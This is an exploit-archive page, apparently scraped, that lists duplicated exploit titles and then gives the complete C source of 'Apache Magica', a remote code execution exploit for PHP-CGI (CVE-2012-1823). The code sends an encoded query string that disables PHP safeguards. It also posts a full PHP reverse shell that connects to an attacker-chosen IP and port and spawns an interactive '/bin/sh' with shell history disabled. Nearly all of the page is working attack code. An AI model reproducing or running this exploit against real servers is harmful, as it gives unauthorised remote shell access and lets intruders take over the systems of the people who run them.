Linux Kernel <= 3.3.5 - Btrfs CRC32C feature Infinite Loop Local Denial of Service Vulnerability

Linux Kernel 3.3.5 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation Vulnerability
Linux Kernel 3.3.5 - 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation Vulnerability

Linux Kernel <= 3.2.1 Tracing Mutiple Local Denial of Service Vulnerabilities
Linux Kernel <= 3.2.1 - Tracing Mutiple Local Denial of Service Vulnerabilities

Win10Pcap - Local Privilege Escalation Vulnerability
Samsung m2m1shot Kernel Driver Buffer Overflow
Samsung seiren Kernel Driver Buffer Overflow
Samsung - m2m1shot Kernel Driver Buffer Overflow
Samsung - seiren Kernel Driver Buffer Overflow

Linux Kernel <= 3.3.5 'b43' Wireless Driver Local Privilege Escalation Vulnerability
Linux Kernel <= 3.3.5 - 'b43' Wireless Driver Local Privilege Escalation Vulnerability

NetUSB Kernel Stack Buffer Overflow
NetUSB - Kernel Stack Buffer Overflow

Linux Kernel <= 3.0.5 'test_root()' Function Local Denial of Service Vulnerability
Linux Kernel <= 3.0.5 - 'test_root()' Function Local Denial of Service Vulnerability
Windows Kernel win32k.sys Malformed TrueType Program TTF Font Processing Pool-Based Buffer Overflow (MS15-115)
Windows Kernel win32k.sys Malformed OS/2 Table TTF Font Processing Pool-Based Buffer Overflow (MS15-115)
Windows Kernel - win32k.sys Malformed TrueType Program TTF Font Processing Pool-Based Buffer Overflow (MS15-115)
Windows Kernel - win32k.sys Malformed OS/2 Table TTF Font Processing Pool-Based Buffer Overflow (MS15-115)

Chkrootkit Local Privilege Escalation
Chkrootkit - Local Privilege Escalation

Windows Kernel Device Contexts and NtGdiSelectBitmap Use-After-Free (MS15-115)
Windows Kernel - Device Contexts and NtGdiSelectBitmap Use-After-Free (MS15-115)

Linux Kernel <= 3.0.5 'ath9k_htc_set_bssid_mask()' Function Information Disclosure Vulnerability
Linux Kernel <= 3.0.5 - 'ath9k_htc_set_bssid_mask()' Function Information Disclosure Vulnerability

Acunetix WVS 10 - Local Privilege escalation
Acunetix WVS 10 - Local Privilege Escalation

Linux Kernel <= 3.3.5 '/drivers/media/media-device.c' Local Information Disclosure Vulnerability
Linux Kernel <= 3.3.5 - '/drivers/media/media-device.c' Local Information Disclosure Vulnerability

Linux Kernel REFCOUNT Overflow/Use-After-Free in Keyrings
Linux Kernel - REFCOUNT Overflow/Use-After-Free in Keyrings

Android sensord Local Root Exploit
Android - sensord Local Root Exploit

OS X and iOS Unsandboxable Kernel Use-After-Free in Mach Vouchers
OS X and iOS - Unsandboxable Kernel Use-After-Free in Mach Vouchers

Microsoft Windows WebDAV - Privilege Escalation (MS16-016)
Microsoft Windows WebDAV - (BSoD) Privilege Escalation (MS16-016)

Proxmox VE 3/4 Insecure Hostname Checking Remote Root Exploit
Proxmox VE 3/4 - Insecure Hostname Checking Remote Root Exploit
Windows Kernel ATMFD.DLL OTF Font Processing Pool-Based Buffer Overflow (MS16-026)
Windows Kernel ATMFD.DLL OTF Font Processing Stack Corruption (MS16-026)
Windows Kernel - ATMFD.DLL OTF Font Processing Pool-Based Buffer Overflow (MS16-026)
Windows Kernel - ATMFD.DLL OTF Font Processing Stack Corruption (MS16-026)
WordPress HB Audio Gallery Lite Plugin 1.0.0 - Arbitrary File Download
Joomla Easy Youtube Gallery 1.0.2 - SQL Injection Vulnerability
WordPress Brandfolder Plugin 3.0 - RFI / LFI Vulnerability
WordPress Dharma booking Plugin 2.38.3 - File Inclusion Vulnerability
WordPress Memphis Document Library Plugin 3.1.5 - Arbitrary File Download
2016-03-23 05:03:34 +00:00

457 lines
13 KiB
C
Executable file

/* Apache Magica by Kingcope */
/* gcc apache-magika.c -o apache-magika -lssl */
/* This is a code execution bug in the combination of Apache and PHP.
On Debian and Ubuntu the vulnerability is present in the default install
of the php5-cgi package. When the php5-cgi package is installed on Debian and
Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under
/cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute
the binary because this binary has a security check enabled when installed with
Apache http server and this security check is circumvented by the exploit.
When accessing the php-cgi binary the security check will block the request and
will not execute the binary.
In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security
check is done when the php.ini configuration setting cgi.force_redirect is set
and the php.ini configuration setting cgi.redirect_status_env is set to no.
This makes it possible to execute the binary bypassing the Security check by
setting these two php.ini settings.
Prior to this code for the Security check getopt is called and it is possible
to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the
-d switch. If both values are set to zero and the request is sent to the server
php-cgi gets fully executed and we can use the payload in the POST data field
to execute arbitrary php and therefore we can execute programs on the system.
apache-magika.c is an exploit that does exactly the prior described. It does
support SSL.
/* Affected and tested versions
PHP 5.3.10
PHP 5.3.8-1
PHP 5.3.6-13
PHP 5.3.3
PHP 5.2.17
PHP 5.2.11
PHP 5.2.6-3
PHP 5.2.6+lenny16 with Suhosin-Patch
Affected versions
PHP prior to 5.3.12
PHP prior to 5.4.2
Unaffected versions
PHP 4 - getopt parser unexploitable
PHP 5.3.12 and up
PHP 5.4.2 and up
Unaffected versions are patched by CVE-2012-1823.
*/
/* .
/'\rrq rk
. // \\ .
.x.//fco\\-|-
'//cmtco\\zt
//6meqrg.\\tq
//_________\\'
EJPGQO
apache-magica.c by Kingcope
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/types.h>
#include <stddef.h>
#include <openssl/rand.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
typedef struct {
int sockfd;
SSL *handle;
SSL_CTX *ctx;
} connection;
void usage(char *argv[])
{
printf("usage: %s <--target target> <--port port> <--protocol http|https> " \
"<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]\n",
argv[0]);
exit(1);
}
char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \
"%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \
"+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \
"%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \
"%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \
"%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \
"%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \
"%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \
"%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \
"%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \
"%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \
"%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \
"Host: %s\r\n" \
"User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26" \
"(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n" \
"Content-Type: application/x-www-form-urlencoded\r\n" \
"Content-Length: %d\r\n" \
"Connection: close\r\n\r\n%s";
char phpstr[] = "<?php\n" \
"set_time_limit(0);\n" \
"$ip = '%s';\n" \
"$port = %d;\n" \
"$chunk_size = 1400;\n" \
"$write_a = null;\n" \
"$error_a = null;\n" \
"$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n" \
"$daemon = 0;\n" \
"$debug = 0;\n" \
"if (function_exists('pcntl_fork')) {\n" \
" $pid = pcntl_fork(); \n" \
" if ($pid == -1) {\n" \
" printit(\"ERROR: Can't fork\");\n" \
" exit(1);\n" \
" }\n" \
" if ($pid) {\n" \
" exit(0);\n" \
" }\n" \
" if (posix_setsid() == -1) {\n" \
" printit(\"Error: Can't setsid()\");\n" \
" exit(1);\n" \
" }\n" \
" $daemon = 1;\n" \
"} else {\n" \
" printit(\"WARNING: Failed to daemonise.\");\n" \
"}\n" \
"chdir(\"/\");\n" \
"umask(0);\n" \
"$sock = fsockopen($ip, $port, $errno, $errstr, 30);\n" \
"if (!$sock) {\n" \
" printit(\"$errstr ($errno)\");\n" \
" exit(1);\n" \
"}\n" \
"$descriptorspec = array(\n" \
" 0 => array(\"pipe\", \"r\"),\n" \
" 1 => array(\"pipe\", \"w\"),\n" \
" 2 => array(\"pipe\", \"w\")\n" \
");\n" \
"$process = proc_open($shell, $descriptorspec, $pipes);\n" \
"if (!is_resource($process)) {\n" \
" printit(\"ERROR: Can't spawn shell\");\n" \
" exit(1);\n" \
"}\n" \
"stream_set_blocking($pipes[0], 0);\n" \
"stream_set_blocking($pipes[1], 0);\n" \
"stream_set_blocking($pipes[2], 0);\n" \
"stream_set_blocking($sock, 0);\n" \
"while (1) {\n" \
" if (feof($sock)) {\n" \
" printit(\"ERROR: Shell connection terminated\");\n" \
" break;\n" \
" }\n" \
" if (feof($pipes[1])) {\n" \
" printit(\"ERROR: Shell process terminated\");\n" \
" break;\n" \
" }\n" \
" $read_a = array($sock, $pipes[1], $pipes[2]);\n" \
" $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n" \
" if (in_array($sock, $read_a)) {\n" \
" if ($debug) printit(\"SOCK READ\");\n" \
" $input = fread($sock, $chunk_size);\n" \
" if ($debug) printit(\"SOCK: $input\");\n" \
" fwrite($pipes[0], $input);\n" \
" }\n" \
" if (in_array($pipes[1], $read_a)) {\n" \
" if ($debug) printit(\"STDOUT READ\");\n" \
" $input = fread($pipes[1], $chunk_size);\n" \
" if ($debug) printit(\"STDOUT: $input\");\n" \
" fwrite($sock, $input);\n" \
" }\n" \
" if (in_array($pipes[2], $read_a)) {\n" \
" if ($debug) printit(\"STDERR READ\");\n" \
" $input = fread($pipes[2], $chunk_size);\n" \
" if ($debug) printit(\"STDERR: $input\");\n" \
" fwrite($sock, $input);\n" \
" }\n" \
"}\n" \
"\n" \
"fclose($sock);\n" \
"fclose($pipes[0]);\n" \
"fclose($pipes[1]);\n" \
"fclose($pipes[2]);\n" \
"proc_close($process);\n" \
"function printit ($string) {\n" \
" if (!$daemon) {\n" \
" print \"$string\n\";\n" \
" }\n" \
"}\n" \
"exit(1);\n" \
"?>";
struct sockaddr_in *gethostbyname_(char *hostname, unsigned short port)
{
struct hostent *he;
struct sockaddr_in server, *servercopy;
if ((he=gethostbyname(hostname)) == NULL) {
printf("Hostname cannot be resolved\n");
exit(255);
}
servercopy = malloc(sizeof(struct sockaddr_in));
if (!servercopy) {
printf("malloc error (1)\n");
exit(255);
}
memset(&server, '\0', sizeof(struct sockaddr_in));
memcpy(&server.sin_addr, he->h_addr_list[0], he->h_length);
server.sin_family = AF_INET;
server.sin_port = htons(port);
memcpy(servercopy, &server, sizeof(struct sockaddr_in));
return servercopy;
}
char *sslread(connection *c)
{
char *rc = NULL;
int received, count = 0, count2=0;
char ch;
for(;;)
{
if (!rc)
rc = calloc(1024, sizeof (char) + 1);
else
if (count2 % 1024 == 0) {
rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1);
}
received = SSL_read(c->handle, &ch, 1);
if (received == 1) {
rc[count++] = ch;
count2++;
if (count2 > 1024*5)
break;
}
else
break;
}
return rc;
}
char *read_(int sockfd)
{
char *rc = NULL;
int received, count = 0, count2=0;
char ch;
for(;;)
{
if (!rc)
rc = calloc(1024, sizeof (char) + 1);
else
if (count2 % 1024 == 0) {
rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1);
}
received = read(sockfd, &ch, 1);
if (received == 1) {
rc[count++] = ch;
count2++;
if (count2 > 1024*5)
break;
}
else
break;
}
return rc;
}
void main(int argc, char *argv[])
{
char *target, *protocol, *targetip, *writestr, *tmpstr, *readbuf=NULL,
*interpreter, *reverseip, *reverseportstr, *forceinterpreter=NULL;
char httpsflag=0;
unsigned short port=0, reverseport=0;
struct sockaddr_in *server;
int sockfd;
unsigned int writesize, tmpsize;
unsigned int i;
connection *sslconnection;
printf("-== Apache Magika by Kingcope ==-\n");
for(;;)
{
int c;
int option_index=0;
static struct option long_options[] = {
{"target", required_argument, 0, 0 },
{"port", required_argument, 0, 0 },
{"protocol", required_argument, 0, 0 },
{"reverse-ip", required_argument, 0, 0 },
{"reverse-port", required_argument, 0, 0 },
{"force-interpreter", required_argument, 0, 0 },
{0, 0, 0, 0 }
};
c = getopt_long(argc, argv, "", long_options, &option_index);
if (c < 0)
break;
switch (c) {
case 0:
switch (option_index) {
case 0:
if (optarg) {
target = calloc(strlen(optarg)+1, sizeof(char));
if (!target) {
printf("calloc error (2)\n");
exit(255);
}
memcpy(target, optarg, strlen(optarg)+1);
}
break;
case 1:
if(optarg)
port = atoi(optarg);
break;
case 2:
protocol = calloc(strlen(optarg)+1, sizeof(char));
if (!protocol) {
printf("calloc error (3)\n");
exit(255);
}
memcpy(protocol, optarg, strlen(optarg)+1);
if (!strcmp(protocol, "https"))
httpsflag=1;
break;
case 3:
reverseip = calloc(strlen(optarg)+1, sizeof(char));
if (!reverseip) {
printf("calloc error (4)\n");
exit(255);
}
memcpy(reverseip, optarg, strlen(optarg)+1);
break;
case 4:
reverseport = atoi(optarg);
reverseportstr = calloc(strlen(optarg)+1, sizeof(char));
if (!reverseportstr) {
printf("calloc error (5)\n");
exit(255);
}
memcpy(reverseportstr, optarg, strlen(optarg)+1);
break;
case 5:
forceinterpreter = calloc(strlen(optarg)+1, sizeof(char));
if (!forceinterpreter) {
printf("calloc error (6)\n");
exit(255);
}
memcpy(forceinterpreter, optarg, strlen(optarg)+1);
break;
default:
usage(argv);
}
break;
default:
usage(argv);
}
}
if ((optind < argc) || !target || !protocol || !port ||
!reverseip || !reverseport){
usage(argv);
}
server = gethostbyname_(target, port);
if (!server) {
printf("Error while resolving hostname. (7)\n");
exit(255);
}
char *interpreters[5];
int ninterpreters = 5;
interpreters[0] = strdup("/cgi-bin/php");
interpreters[1] = strdup("/cgi-bin/php5");
interpreters[2] = strdup("/cgi-bin/php-cgi");
interpreters[3] = strdup("/cgi-bin/php.cgi");
interpreters[4] = strdup("/cgi-bin/php4");
for (i=0;i<ninterpreters;i++) {
interpreter = interpreters[i];
if (forceinterpreter) {
interpreter = strdup(forceinterpreter);
}
if (forceinterpreter && i)
break;
printf("%s\n", interpreter);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 1) {
printf("socket error (8)\n");
exit(255);
}
if (connect(sockfd, (void*)server, sizeof(struct sockaddr_in)) < 0) {
printf("connect error (9)\n");
exit(255);
}
if (httpsflag) {
sslconnection = (connection*) malloc(sizeof(connection));
if (!sslconnection) {
printf("malloc error (10)\n");
exit(255);
}
sslconnection->handle = NULL;
sslconnection->ctx = NULL;
SSL_library_init();
sslconnection->ctx = SSL_CTX_new(SSLv23_client_method());
if (!sslconnection->ctx) {
printf("SSL_CTX_new error (11)\n");
exit(255);
}
sslconnection->handle = SSL_new(sslconnection->ctx);
if (!sslconnection->handle) {
printf("SSL_new error (12)\n");
exit(255);
}
if (!SSL_set_fd(sslconnection->handle, sockfd)) {
printf("SSL_set_fd error (13)\n");
exit(255);
}
if (SSL_connect(sslconnection->handle) != 1) {
printf("SSL_connect error (14)\n");
exit(255);
}
}
tmpsize = strlen(phpstr) + strlen(reverseip) + strlen(reverseportstr) + 64;
tmpstr = (char*)calloc(tmpsize, sizeof(char));
snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport);
writesize = strlen(target) + strlen(interpreter) +
strlen(poststr) + strlen(tmpstr) + 64;
writestr = (char*)calloc(writesize, sizeof(char));
snprintf(writestr, writesize, poststr, interpreter,
target, strlen(tmpstr), tmpstr);
if (!httpsflag) {
write(sockfd, writestr, strlen(writestr));
readbuf = read_(sockfd);
} else {
SSL_write(sslconnection->handle, writestr, strlen(writestr));
readbuf = sslread(sslconnection);
}
if (readbuf) {
printf("***SERVER RESPONSE***\n\n%s\n\n", readbuf);
} else {
printf("read error (15)\n");
exit(255);
}
}
exit(1);
}